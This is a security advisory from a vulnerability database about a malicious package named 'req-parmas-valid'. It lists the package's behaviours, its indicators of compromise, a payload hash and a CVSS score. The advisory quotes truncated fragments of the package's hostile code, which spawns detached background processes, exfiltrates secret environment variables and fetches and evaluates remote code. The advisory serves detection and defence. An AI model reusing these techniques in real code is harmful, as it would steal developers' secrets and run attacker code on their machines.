VDB
GCVE-110-OSM-2026-5794
GCVE-110-OSM-2026-5794
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code.
Entrypoint: index.js (main: index.js)
Exfil: http://unix:SOCKET:PATH` (custom-c2, recovery: plaintext in request.js)
Payload: lib/callers.js
Key findings:
- Stealth Background Process Spawning in index.js: "spawn("node", [script, JSON.stringify(args)], {
detached: true,
stdio: "..."
- Environment Variable Exfiltration in lib/callers.js: "process.env.DEV_SECRET_KEY;
const v = process.env.DEV_SECRET_VALUE;
let ..."
- Global Variable Shadowing in lib/callers.js: "const process = {"
- Fetch and Eval/Exec in lib/callers.js: "axios.get(src, { headers: { [k]: v } })).data.Cookie;
const handler = new..."
- Environment Variable Exfiltration in request.js: "process.env.NODE_DEBUG && /\brequest\b/.test(process.env.NODE_DEBUG)
function de..."
IOCs:
- urls: http://localproxy.com, http://service.com/upload, http://some.server.com/, http://www.ietf.org/rfc/rfc1738.txt, http://how2ssl.com/articles/working_with_pem_files/ (+13 more)
- domains: gitter.im, localproxy.com, service.com, www.ietf.org, how2ssl.com (+6 more)
- payloadFileHash: 2fd0ceb7b81d7b8ce9bc75aac88b67182d01b216767d8a25512025ec4ca99c07
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | req-parmas-valid | all (affected) | — |
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